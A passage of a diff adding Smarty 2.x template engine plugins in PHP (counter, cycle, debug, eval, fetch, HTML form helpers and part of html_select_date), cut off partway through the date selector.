+ * Smarty {counter} function plugin
+ *
+ * Type: function<br>
+ * Name: counter<br>
+ * Purpose: print out a counter value
+ * @link http://smarty.php.net/manual/en/language.function.counter.php {counter}
+ * (Smarty online manual)
+ * @param array parameters
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_counter($params, &$smarty)
+{
+ static $counters = array();
+
+ $name = (isset($params['name'])) ? $params['name'] : 'default';
+ if (!isset($counters[$name])) {
+ $counters[$name] = array(
+ 'start'=>1,
+ 'skip'=>1,
+ 'direction'=>'up',
+ 'count'=>1
+ );
+ }
+ $counter =& $counters[$name];
+
+ if (isset($params['start'])) {
+ $counter['start'] = $counter['count'] = (int)$params['start'];
+ }
+
+ if (!empty($params['assign'])) {
+ $counter['assign'] = $params['assign'];
+ }
+
+ if (isset($counter['assign'])) {
+ $smarty->assign($counter['assign'], $counter['count']);
+ }
+
+ if (isset($params['print'])) {
+ $print = (bool)$params['print'];
+ } else {
+ $print = empty($counter['assign']);
+ }
+
+ if ($print) {
+ $retval = $counter['count'];
+ } else {
+ $retval = null;
+ }
+
+ if (isset($params['skip'])) {
+ $counter['skip'] = $params['skip'];
+ }
+
+ if (isset($params['direction'])) {
+ $counter['direction'] = $params['direction'];
+ }
+
+ if ($counter['direction'] == "down")
+ $counter['count'] -= $counter['skip'];
+ else
+ $counter['count'] += $counter['skip'];
+
+ return $retval;
+
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {cycle} function plugin
+ *
+ * Type: function<br>
+ * Name: cycle<br>
+ * Date: May 3, 2002<br>
+ * Purpose: cycle through given values<br>
+ * Input:
+ * - name = name of cycle (optional)
+ * - values = comma separated list of values to cycle,
+ * or an array of values to cycle
+ * (this can be left out for subsequent calls)
+ * - reset = boolean - resets given var to true
+ * - print = boolean - print var or not. default is true
+ * - advance = boolean - whether or not to advance the cycle
+ * - delimiter = the value delimiter, default is ","
+ * - assign = boolean, assigns to template var instead of
+ * printed.
+ *
+ * Examples:<br>
+ * <pre>
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.cycle.php {cycle}
+ * (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author credit to Mark Priatel <mpriatel@rogers.com>
+ * @author credit to Gerard <gerard@interfold.com>
+ * @author credit to Jason Sweat <jsweat_php@yahoo.com>
+ * @version 1.3
+ * @param array
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_cycle($params, &$smarty)
+{
+ static $cycle_vars;
+
+ $name = (empty($params['name'])) ? 'default' : $params['name'];
+ $print = (isset($params['print'])) ? (bool)$params['print'] : true;
+ $advance = (isset($params['advance'])) ? (bool)$params['advance'] : true;
+ $reset = (isset($params['reset'])) ? (bool)$params['reset'] : false;
+
+ if (!in_array('values', array_keys($params))) {
+ if(!isset($cycle_vars[$name]['values'])) {
+ $smarty->trigger_error("cycle: missing 'values' parameter");
+ return;
+ }
+ } else {
+ if(isset($cycle_vars[$name]['values'])
+ && $cycle_vars[$name]['values'] != $params['values'] ) {
+ $cycle_vars[$name]['index'] = 0;
+ }
+ $cycle_vars[$name]['values'] = $params['values'];
+ }
+
+ $cycle_vars[$name]['delimiter'] = (isset($params['delimiter'])) ? $params['delimiter'] : ',';
+
+ if(is_array($cycle_vars[$name]['values'])) {
+ $cycle_array = $cycle_vars[$name]['values'];
+ } else {
+ $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']);
+ }
+
+ if(!isset($cycle_vars[$name]['index']) || $reset ) {
+ $cycle_vars[$name]['index'] = 0;
+ }
+
+ if (isset($params['assign'])) {
+ $print = false;
+ $smarty->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]);
+ }
+
+ if($print) {
+ $retval = $cycle_array[$cycle_vars[$name]['index']];
+ } else {
+ $retval = null;
+ }
+
+ if($advance) {
+ if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) {
+ $cycle_vars[$name]['index'] = 0;
+ } else {
+ $cycle_vars[$name]['index']++;
+ }
+ }
+
+ return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {debug} function plugin
+ *
+ * Type: function<br>
+ * Name: debug<br>
+ * Date: July 1, 2002<br>
+ * Purpose: popup debug window
+ * @link http://smarty.php.net/manual/en/language.function.debug.php {debug}
+ * (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param array
+ * @param Smarty
+ * @return string output from {@link Smarty::_generate_debug_output()}
+ */
+function smarty_function_debug($params, &$smarty)
+{
+ if($params['output']) {
+ $smarty->assign('_smarty_debug_output',$params['output']);
+ }
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+ return smarty_core_display_debug_console(null, $smarty);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {eval} function plugin
+ *
+ * Type: function<br>
+ * Name: eval<br>
+ * Purpose: evaluate a template variable as a template<br>
+ * @link http://smarty.php.net/manual/en/language.function.eval.php {eval}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ */
+function smarty_function_eval($params, &$smarty)
+{
+
+ if (!isset($params['var'])) {
+ $smarty->trigger_error("eval: missing 'var' parameter");
+ return;
+ }
+
+ if($params['var'] == '') {
+ return;
+ }
+
+ $smarty->_compile_source('evaluated template', $params['var'], $_var_compiled);
+
+ ob_start();
+ $smarty->_eval('?>' . $_var_compiled);
+ $_contents = ob_get_contents();
+ ob_end_clean();
+
+ if (!empty($params['assign'])) {
+ $smarty->assign($params['assign'], $_contents);
+ } else {
+ return $_contents;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {fetch} plugin
+ *
+ * Type: function<br>
+ * Name: fetch<br>
+ * Purpose: fetch file, web or ftp data and display results
+ * @link http://smarty.php.net/manual/en/language.function.fetch.php {fetch}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string|null if the assign parameter is passed, Smarty assigns the
+ * result to a template variable
+ */
+function smarty_function_fetch($params, &$smarty)
+{
+ if (empty($params['file'])) {
+ $smarty->_trigger_fatal_error("[plugin] parameter 'file' cannot be empty");
+ return;
+ }
+
+ if ($smarty->security && !preg_match('!^(http|ftp)://!i', $params['file'])) {
+ $_params = array('resource_type' => 'file', 'resource_name' => $params['file']);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php');
+ if(!smarty_core_is_secure($_params, $smarty)) {
+ $smarty->_trigger_fatal_error('[plugin] (secure mode) fetch \'' . $params['file'] . '\' is not allowed');
+ return;
+ }
+
+ // fetch the file
+ if($fp = @fopen($params['file'],'r')) {
+ while(!feof($fp)) {
+ $content .= fgets ($fp,4096);
+ }
+ fclose($fp);
+ } else {
+ $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] . '\'');
+ return;
+ }
+ } else {
+ // not a local file
+ if(preg_match('!^http://!i',$params['file'])) {
+ // http fetch
+ if($uri_parts = parse_url($params['file'])) {
+ // set defaults
+ $host = $server_name = $uri_parts['host'];
+ $timeout = 30;
+ $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+ $agent = "Smarty Template Engine ".$smarty->_version;
+ $referer = "";
+ $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/';
+ $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : '';
+ $_is_proxy = false;
+ if(empty($uri_parts['port'])) {
+ $port = 80;
+ } else {
+ $port = $uri_parts['port'];
+ }
+ if(empty($uri_parts['user'])) {
+ $user = '';
+ }
+ // loop through parameters, setup headers
+ foreach($params as $param_key => $param_value) {
+ switch($param_key) {
+ case "file":
+ case "assign":
+ case "assign_headers":
+ break;
+ case "user":
+ if(!empty($param_value)) {
+ $user = $param_value;
+ }
+ break;
+ case "pass":
+ if(!empty($param_value)) {
+ $pass = $param_value;
+ }
+ break;
+ case "accept":
+ if(!empty($param_value)) {
+ $accept = $param_value;
+ }
+ break;
+ case "header":
+ if(!empty($param_value)) {
+ if(!preg_match('![\w\d-]+: .+!',$param_value)) {
+ $smarty->_trigger_fatal_error("[plugin] invalid header format '".$param_value."'");
+ return;
+ } else {
+ $extra_headers[] = $param_value;
+ }
+ }
+ break;
+ case "proxy_host":
+ if(!empty($param_value)) {
+ $proxy_host = $param_value;
+ }
+ break;
+ case "proxy_port":
+ if(!preg_match('!\D!', $param_value)) {
+ $proxy_port = (int) $param_value;
+ } else {
+ $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+ return;
+ }
+ break;
+ case "agent":
+ if(!empty($param_value)) {
+ $agent = $param_value;
+ }
+ break;
+ case "referer":
+ if(!empty($param_value)) {
+ $referer = $param_value;
+ }
+ break;
+ case "timeout":
+ if(!preg_match('!\D!', $param_value)) {
+ $timeout = (int) $param_value;
+ } else {
+ $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+ return;
+ }
+ break;
+ default:
+ $smarty->_trigger_fatal_error("[plugin] unrecognized attribute '".$param_key."'");
+ return;
+ }
+ }
+ if(!empty($proxy_host) && !empty($proxy_port)) {
+ $_is_proxy = true;
+ $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout);
+ } else {
+ $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout);
+ }
+
+ if(!$fp) {
+ $smarty->_trigger_fatal_error("[plugin] unable to fetch: $errstr ($errno)");
+ return;
+ } else {
+ if($_is_proxy) {
+ fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
+ } else {
+ fputs($fp, "GET $uri HTTP/1.0\r\n");
+ }
+ if(!empty($host)) {
+ fputs($fp, "Host: $host\r\n");
+ }
+ if(!empty($accept)) {
+ fputs($fp, "Accept: $accept\r\n");
+ }
+ if(!empty($agent)) {
+ fputs($fp, "User-Agent: $agent\r\n");
+ }
+ if(!empty($referer)) {
+ fputs($fp, "Referer: $referer\r\n");
+ }
+ if(isset($extra_headers) && is_array($extra_headers)) {
+ foreach($extra_headers as $curr_header) {
+ fputs($fp, $curr_header."\r\n");
+ }
+ }
+ if(!empty($user) && !empty($pass)) {
+ fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n");
+ }
+
+ $content = '';
+ fputs($fp, "\r\n");
+ while(!feof($fp)) {
+ $content .= fgets($fp,4096);
+ }
+ fclose($fp);
+ $csplit = split("\r\n\r\n",$content,2);
+
+ $content = $csplit[1];
+
+ if(!empty($params['assign_headers'])) {
+ $smarty->assign($params['assign_headers'],split("\r\n",$csplit[0]));
+ }
+ }
+ } else {
+ $smarty->_trigger_fatal_error("[plugin] unable to parse URL, check syntax");
+ return;
+ }
+ } else {
+ // ftp fetch
+ if($fp = @fopen($params['file'],'r')) {
+ while(!feof($fp)) {
+ $content .= fgets ($fp,4096);
+ }
+ fclose($fp);
+ } else {
+ $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] .'\'');
+ return;
+ }
+ }
+
+ }
+
+
+ if (!empty($params['assign'])) {
+ $smarty->assign($params['assign'],$content);
+ } else {
+ return $content;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_checkboxes} function plugin
+ *
+ * File: function.html_checkboxes.php<br>
+ * Type: function<br>
+ * Name: html_checkboxes<br>
+ * Date: 24.Feb.2003<br>
+ * Purpose: Prints out a list of checkbox input types<br>
+ * Input:<br>
+ * - name (optional) - string default "checkbox"
+ * - values (required) - array
+ * - options (optional) - associative array
+ * - checked (optional) - array default not set
+ * - separator (optional) - ie <br> or
+ * - output (optional) - without this one the buttons don't have names
+ * Examples:
+ * <pre>
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='<br>' output=$names}
+ * {html_checkboxes values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.checkboxes.php {html_checkboxes}
+ * (Smarty online manual)
+ * @author Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_checkboxes($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+ $name = 'checkbox';
+ $values = null;
+ $options = null;
+ $selected = null;
+ $separator = '';
+ $labels = true;
+ $output = null;
+
+ $extra = '';
+
+ foreach($params as $_key => $_val) {
+ switch($_key) {
+ case 'name':
+ case 'separator':
+ $$_key = $_val;
+ break;
+
+ case 'labels':
+ $$_key = (bool)$_val;
+ break;
+
+ case 'options':
+ $$_key = (array)$_val;
+ break;
+
+ case 'values':
+ case 'output':
+ $$_key = array_values((array)$_val);
+ break;
+
+ case 'checked':
+ case 'selected':
+ $selected = array_map('strval', array_values((array)$_val));
+ break;
+
+ case 'checkboxes':
+ $smarty->trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING);
+ $options = (array)$_val;
+ break;
+
+ default:
+ if(!is_array($_val)) {
+ $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+ } else {
+ $smarty->trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+ }
+ break;
+ }
+ }
+
+ if (!isset($options) && !isset($values))
+ return ''; /* raise error here? */
+
+ settype($selected, 'array');
+ $_html_result = '';
+
+ if (is_array($options)) {
+
+ foreach ($options as $_key=>$_val)
+ $_html_result .= smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+
+
+ } else {
+ foreach ($values as $_i=>$_key) {
+ $_val = isset($output[$_i]) ? $output[$_i] : '';
+ $_html_result .= smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+ }
+
+ }
+
+ return $_html_result;
+
+}
+
+function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels) {
+ $_output = '';
+ if ($labels) $_output .= '<label>';
+ $_output .= '<input type="checkbox" name="'
+ . smarty_function_escape_special_chars($name) . '[]" value="'
+ . smarty_function_escape_special_chars($value) . '"';
+
+ if (in_array((string)$value, $selected)) {
+ $_output .= ' checked="checked"';
+ }
+ $_output .= $extra . ' />' . $output;
+ if ($labels) $_output .= '</label>';
+ $_output .= $separator . "\n";
+
+ return $_output;
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_image} function plugin
+ *
+ * Type: function<br>
+ * Name: html_image<br>
+ * Date: Feb 24, 2003<br>
+ * Purpose: format HTML tags for the image<br>
+ * Input:<br>
+ * - file = file (and path) of image (required)
+ * - border = border width (optional, default 0)
+ * - height = image height (optional, default actual height)
+ * - image =image width (optional, default actual width)
+ * - basedir = base directory for absolute paths, default
+ * is environment variable DOCUMENT_ROOT
+ *
+ * Examples: {html_image file="images/masthead.gif"}
+ * Output: <img src="images/masthead.gif" border=0 width=400 height=23>
+ * @link http://smarty.php.net/manual/en/language.function.html.image.php {html_image}
+ * (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author credits to Duda <duda@big.hu> - wrote first image function
+ * in repository, helped with lots of functionality
+ * @version 1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_image($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+ $alt = '';
+ $file = '';
+ $border = 0;
+ $height = '';
+ $width = '';
+ $extra = '';
+ $prefix = '';
+ $suffix = '';
+ $server_vars = ($smarty->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+ $basedir = isset($server_vars['DOCUMENT_ROOT']) ? $server_vars['DOCUMENT_ROOT'] : '';
+ foreach($params as $_key => $_val) {
+ switch($_key) {
+ case 'file':
+ case 'border':
+ case 'height':
+ case 'width':
+ case 'dpi':
+ case 'basedir':
+ $$_key = $_val;
+ break;
+
+ case 'alt':
+ if(!is_array($_val)) {
+ $$_key = smarty_function_escape_special_chars($_val);
+ } else {
+ $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+ }
+ break;
+
+ case 'link':
+ case 'href':
+ $prefix = '<a href="' . $_val . '">';
+ $suffix = '</a>';
+ break;
+
+ default:
+ if(!is_array($_val)) {
+ $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+ } else {
+ $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+ }
+ break;
+ }
+ }
+
+ if (empty($file)) {
+ $smarty->trigger_error("html_image: missing 'file' parameter", E_USER_NOTICE);
+ return;
+ }
+
+ if (substr($file,0,1) == '/') {
+ $_image_path = $basedir . $file;
+ } else {
+ $_image_path = $file;
+ }
+
+ if(!isset($params['width']) || !isset($params['height'])) {
+ if ($smarty->security &&
+ ($_params = array('resource_type' => 'file', 'resource_name' => $_image_path)) &&
+ (require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php')) &&
+ (!smarty_core_is_secure($_params, $smarty)) ) {
+ $smarty->trigger_error("html_image: (secure) '$_image_path' not in secure directory", E_USER_NOTICE);
+
+ } elseif (!$_image_data = @getimagesize($_image_path)) {
+ if(!file_exists($_image_path)) {
+ $smarty->trigger_error("html_image: unable to find '$_image_path'", E_USER_NOTICE);
+ return;
+ } else if(!is_readable($_image_path)) {
+ $smarty->trigger_error("html_image: unable to read '$_image_path'", E_USER_NOTICE);
+ return;
+ } else {
+ $smarty->trigger_error("html_image: '$_image_path' is not a valid image file", E_USER_NOTICE);
+ return;
+ }
+ }
+
+ if(!isset($params['width'])) {
+ $width = $_image_data[0];
+ }
+ if(!isset($params['height'])) {
+ $height = $_image_data[1];
+ }
+
+ }
+
+ if(isset($params['dpi'])) {
+ if(strstr($server_vars['HTTP_USER_AGENT'], 'Mac')) {
+ $dpi_default = 72;
+ } else {
+ $dpi_default = 96;
+ }
+ $_resize = $dpi_default/$params['dpi'];
+ $width = round($width * $_resize);
+ $height = round($height * $_resize);
+ }
+
+ return $prefix . '<img src="'.$file.'" alt="'.$alt.'" border="'.$border.'" width="'.$width.'" height="'.$height.'"'.$extra.' />' . $suffix;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_options} function plugin
+ *
+ * Type: function<br>
+ * Name: html_options<br>
+ * Input:<br>
+ * - name (optional) - string default "select"
+ * - values (required if no options supplied) - array
+ * - options (required if no values supplied) - associative array
+ * - selected (optional) - string default not set
+ * - output (required if not options supplied) - array
+ * Purpose: Prints the list of <option> tags generated from
+ * the passed parameters
+ * @link http://smarty.php.net/manual/en/language.function.html.options.php {html_image}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_options($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+ $name = null;
+ $values = null;
+ $options = null;
+ $selected = array();
+ $output = null;
+
+ $extra = '';
+
+ foreach($params as $_key => $_val) {
+ switch($_key) {
+ case 'name':
+ $$_key = (string)$_val;
+ break;
+
+ case 'options':
+ $$_key = (array)$_val;
+ break;
+
+ case 'values':
+ case 'output':
+ $$_key = array_values((array)$_val);
+ break;
+
+ case 'selected':
+ $$_key = array_map('strval', array_values((array)$_val));
+ break;
+
+ default:
+ if(!is_array($_val)) {
+ $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+ } else {
+ $smarty->trigger_error("html_options: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+ }
+ break;
+ }
+ }
+
+ if (!isset($options) && !isset($values))
+ return ''; /* raise error here? */
+
+ $_html_result = '';
+
+ if (is_array($options)) {
+
+ foreach ($options as $_key=>$_val)
+ $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+
+ } else {
+
+ foreach ((array)$values as $_i=>$_key) {
+ $_val = isset($output[$_i]) ? $output[$_i] : '';
+ $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+ }
+
+ }
+
+ if(!empty($name)) {
+ $_html_result = '<select name="' . $name . '"' . $extra . '>' . "\n" . $_html_result . '</select>' . "\n";
+ }
+
+ return $_html_result;
+
+}
+
+function smarty_function_html_options_optoutput($key, $value, $selected) {
+ if(!is_array($value)) {
+ $_html_result = '<option label="' . smarty_function_escape_special_chars($value) . '" value="' .
+ smarty_function_escape_special_chars($key) . '"';
+ if (in_array((string)$key, $selected))
+ $_html_result .= ' selected="selected"';
+ $_html_result .= '>' . smarty_function_escape_special_chars($value) . '</option>' . "\n";
+ } else {
+ $_html_result = smarty_function_html_options_optgroup($key, $value, $selected);
+ }
+ return $_html_result;
+}
+
+function smarty_function_html_options_optgroup($key, $values, $selected) {
+ $optgroup_html = '<optgroup label="' . smarty_function_escape_special_chars($key) . '">' . "\n";
+ foreach ($values as $key => $value) {
+ $optgroup_html .= smarty_function_html_options_optoutput($key, $value, $selected);
+ }
+ $optgroup_html .= "</optgroup>\n";
+ return $optgroup_html;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_radios} function plugin
+ *
+ * File: function.html_radios.php<br>
+ * Type: function<br>
+ * Name: html_radios<br>
+ * Date: 24.Feb.2003<br>
+ * Purpose: Prints out a list of radio input types<br>
+ * Input:<br>
+ * - name (optional) - string default "radio"
+ * - values (required) - array
+ * - options (optional) - associative array
+ * - checked (optional) - array default not set
+ * - separator (optional) - ie <br> or
+ * - output (optional) - without this one the buttons don't have names
+ * Examples:
+ * <pre>
+ * {html_radios values=$ids output=$names}
+ * {html_radios values=$ids name='box' separator='<br>' output=$names}
+ * {html_radios values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.radios.php {html_radios}
+ * (Smarty online manual)
+ * @author Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_radios($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+ $name = 'radio';
+ $values = null;
+ $options = null;
+ $selected = null;
+ $separator = '';
+ $labels = true;
+ $output = null;
+ $extra = '';
+
+ foreach($params as $_key => $_val) {
+ switch($_key) {
+ case 'name':
+ case 'separator':
+ $$_key = (string)$_val;
+ break;
+
+ case 'checked':
+ case 'selected':
+ if(is_array($_val)) {
+ $smarty->trigger_error('html_radios: the "' . $_key . '" attribute cannot be an array', E_USER_WARNING);
+ } else {
+ $selected = (string)$_val;
+ }
+ break;
+
+ case 'labels':
+ $$_key = (bool)$_val;
+ break;
+
+ case 'options':
+ $$_key = (array)$_val;
+ break;
+
+ case 'values':
+ case 'output':
+ $$_key = array_values((array)$_val);
+ break;
+
+ case 'radios':
+ $smarty->trigger_error('html_radios: the use of the "radios" attribute is deprecated, use "options" instead', E_USER_WARNING);
+ $options = (array)$_val;
+ break;
+
+
+ default:
+ if(!is_array($_val)) {
+ $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+ } else {
+ $smarty->trigger_error("html_radios: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+ }
+ break;
+ }
+ }
+
+ if (!isset($options) && !isset($values))
+ return ''; /* raise error here? */
+
+ $_html_result = '';
+
+ if (isset($options) && is_array($options)) {
+
+ foreach ((array)$options as $_key=>$_val)
+ $_html_result .= smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+
+ } else {
+
+ foreach ((array)$values as $_i=>$_key) {
+ $_val = isset($output[$_i]) ? $output[$_i] : '';
+ $_html_result .= smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+ }
+
+ }
+
+ return $_html_result;
+
+}
+
+function smarty_function_html_radios_output($name, $value, $output, $selected, $extra, $separator, $labels) {
+ $_output = '';
+ if ($labels) $_output .= '<label>';
+ $_output .= '<input type="radio" name="'
+ . smarty_function_escape_special_chars($name) . '" value="'
+ . smarty_function_escape_special_chars($value) . '"';
+
+ if ($value==$selected) {
+ $_output .= ' checked="checked"';
+ }
+ $_output .= $extra . ' />' . $output;
+ if ($labels) $_output .= '</label>';
+ $_output .= $separator . "\n";
+
+ return $_output;
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {html_select_date} plugin
+ *
+ * Type: function<br>
+ * Name: html_select_date<br>
+ * Purpose: Prints the dropdowns for date selection.
+ *
+ * ChangeLog:<br>
+ * - 1.0 initial release
+ * - 1.1 added support for +/- N syntax for begin
+ * and end year values. (Monte)
+ * - 1.2 added support for yyyy-mm-dd syntax for
+ * time value. (Jan Rosier)
+ * - 1.3 added support for choosing format for
+ * month values (Gary Loescher)
+ * - 1.3.1 added support for choosing format for
+ * day values (Marcus Bointon)
+ * @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date}
+ * (Smarty online manual)
+ * @version 1.3.1
+ * @author Andrei Zmievski
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_select_date($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+ require_once $smarty->_get_plugin_filepath('function','html_options');
+ /* Default values. */
+ $prefix = "Date_";
+ $start_year = strftime("%Y");
+ $end_year = $start_year;
+ $display_days = true;
+ $display_months = true;
+ $display_years = true;
+ $month_format = "%B";
+ /* Write months as numbers by default GL */
+ $month_value_format = "%m";
+ $day_format = "%02d";
+ /* Write day values using this format MB */
+ $day_value_format = "%d";
+ $year_as_text = false;
+ /* Display years in reverse order? Ie. 2000,1999,.... */
+ $reverse_years = false;
+ /* Should the select boxes be part of an array when returned from PHP?
+ e.g. setting it to "birthday", would create "birthday[Day]",
+ "birthday[Month]" & "birthday[Year]". Can be combined with prefix */
+ $field_array = null;
+ /* <select size>'s of the different <select> tags.
+ If not set, uses default dropdown. */
+ $day_size = null;
+ $month_size = null;
+ $year_size = null;
+ /* Unparsed attributes common to *ALL* the <select>/<input> tags.
+ An example might be in the template: all_extra ='class ="foo"'. */
+ $all_extra = null;
+ /* Separate attributes for the tags. */
+ $day_extra = null;
+ $month_extra = null;
+ $year_extra = null;
+ /* Order in which to display the fields.
+ "D" -> day, "M" -> month, "Y" -> year. */
+ $field_order = 'MDY';
+ /* String printed between the different fields. */
+ $field_separator = "\n";
+ $time = time();
+ $all_empty = null;
+ $day_empty = null;
+ $month_empty = null;
+ $year_empty = null;
+
+ foreach ($params as $_key=>$_value) {
+ switch ($_key) {
+ case 'prefix':
+ case 'time':
+ case 'start_year':
+ case 'end_year':
+ case 'month_format':
+ case 'day_format':
+ case 'day_value_format':
+ case 'field_array':
+ case 'day_size':
+ case 'month_size':
+ case 'year_size':
+ case 'all_extra':
+ case 'day_extra':
+ case 'month_extra':
+ case 'year_extra':
+ case 'field_order':
+ case 'field_separator':
+ case 'month_value_format':
+ case 'month_empty':
+ case 'day_empty':
+ case 'year_empty':
+ $$_key = (string)$_value;
+ break;
+
+ case 'all_empty':
+ $$_key = (string)$_value;
+ $day_empty = $month_empty = $year_empty = $all_empty;
+ break;
+
+ case 'display_days':
+ case 'display_months':
+ case 'display_years':
+ case 'year_as_text':
+ case 'reverse_years':
+ $$_key = (bool)$_value;
+ break;
+
+ default:
+ $smarty->trigger_error("[html_select_date] unknown parameter $_key", E_USER_WARNING);
+
+ }
+ }
+
+ // If $time is not in format yyyy-mm-dd
+ if (!preg_match('/^\d{0,4}-\d{0,2}-\d{0,2}$/', $time)) {
+ // then $time is empty or unix timestamp or mysql timestamp
+ // using smarty_make_timestamp to get an unix timestamp and
+ // strftime to make yyyy-mm-dd
+ $time = strftime('%Y-%m-%d', smarty_make_timestamp($time));
+ }
+ // Now split this in pieces, which later can be used to set the select
+ $time = explode("-", $time);
+
+ // make syntax "+N" or "-N" work with start_year and end_year
+ if (preg_match('!^(\+|\-)\s*(\d+)$!', $end_year, $match)) {
+ if ($match[1] == '+') {
+ $end_year = strftime('%Y') + $match[2];
+ } else {
+ $end_year = strftime('%Y') - $match[2];
+ }
+ }
+ if (preg_match('!^(\+|\-)\s*(\d+)$!', $start_year, $match)) {
+ if ($match[1] == '+') {
+ $start_year = strftime('%Y') + $match[2];
+ } else {
+ $start_year = strftime('%Y') - $match[2];
+ }
+ }
+
+ $field_order = strtoupper($field_order);
+
+ $html_result = $month_result = $day_result = $year_result = "";
+
+ if ($display_months) {
